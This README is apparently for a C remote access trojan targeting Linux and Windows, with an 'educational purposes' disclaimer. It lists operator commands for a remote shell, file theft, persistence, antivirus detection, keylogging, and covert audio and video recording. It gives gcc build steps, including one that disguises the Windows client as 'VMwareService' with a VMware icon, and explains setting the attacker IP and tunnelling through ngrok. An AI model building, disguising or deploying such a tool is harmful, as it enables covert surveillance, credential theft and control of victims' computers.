- Atención: No me hago cargo ni responsable del uso que se le puede dar a este repositorio!
- Recuerda: Está hecho para fines educativos y de aprendizaje.
En desarollo...
-
Si tu target es un linux, el servidor tiene que ser linux, si tu target es windows, el servidor tiene ques er un windows
[LINUX]<---->[LINUX] [WINDOWS]<---->[WINDOWS]
-
Windows:
- Compilador GCC (preferiblemente de 64Bits) DOWNLOAD LINK
-
Linux:
# apt install build-essential ffmpeg libv4l-dev libssl-dev moreutils sox libasound2-dev
-
Code optimization to work across platforms.
[WINDOWS]<---->[LINUX]
-
- A new function to detect AVs has been added
-
- A wonderfull PowerShell shell.
-
- A new keylogger has been added on Windows.
-
- New function to record a 10s video.
- New function to record a 10s audio.
-
- I added a "cache" memory for those command that the output doesn't change. Like: checkAv, sysinfo, ...
By the moment we have those commands:
- help -> Show help message
- shell -> Enter shell mode ("q" for exit)
- exec -> Execute command without shell mode
- download <file> -> Download file from target
- upload <file> -> Upload local file to target
- sysinfo -> Show system info (better on linux)
- lowpersistence -> Set persistence (no root)
- peristence -> Set persistence (root needed)
- check -> List privileges
- checkAv -> Detect Installed AV (ONLY WINDOWS)
- record -> Take a 10s audio
- video -> Take a 10s video (720p) [ONLY LINUX]
- dumpkeys -> Send to attacker de keys log
- q / exit -> Exit server
- q -y / exit -y -> Exit server and client (close binary)
Modifica el archivo client.c para especificar la dirección IP y el puerto de destino y si es necesario el del servidor:
-
Cliente:
gcc linux/client.c -o linux/client -lv4l2 -lasound
-
Server:
gcc linux/client.c -o linux/client
Modificamos el archivo src/mainFuctsWin.c especificando la IP de atacante y el puerto especificado en server.c
-
Cliente + VMWARE ICON:
gcc -mwindows -static .\clientWin.c -o .\dist\VMwareService -lws2_32 -lShlwapi -lwinmm -lpthread ../src/icon.o
-
gcc -mwindows -static .\clientWin.c -o .\dist\VMwareService -lws2_32 -lShlwapi -lwinmm -lpthread
-
gcc .\serverWin.c -o .\dist\server -lws2_32 -lShlwapi
Para usar ngrok, simplemente necesitamos la IP del servidor en uso, con el comando ping se puede hacer facilmente:
- Get "url"
- Ping
Con la IP y el puerto de NGROK (12138 en este caso), lo setteamos en el cliente.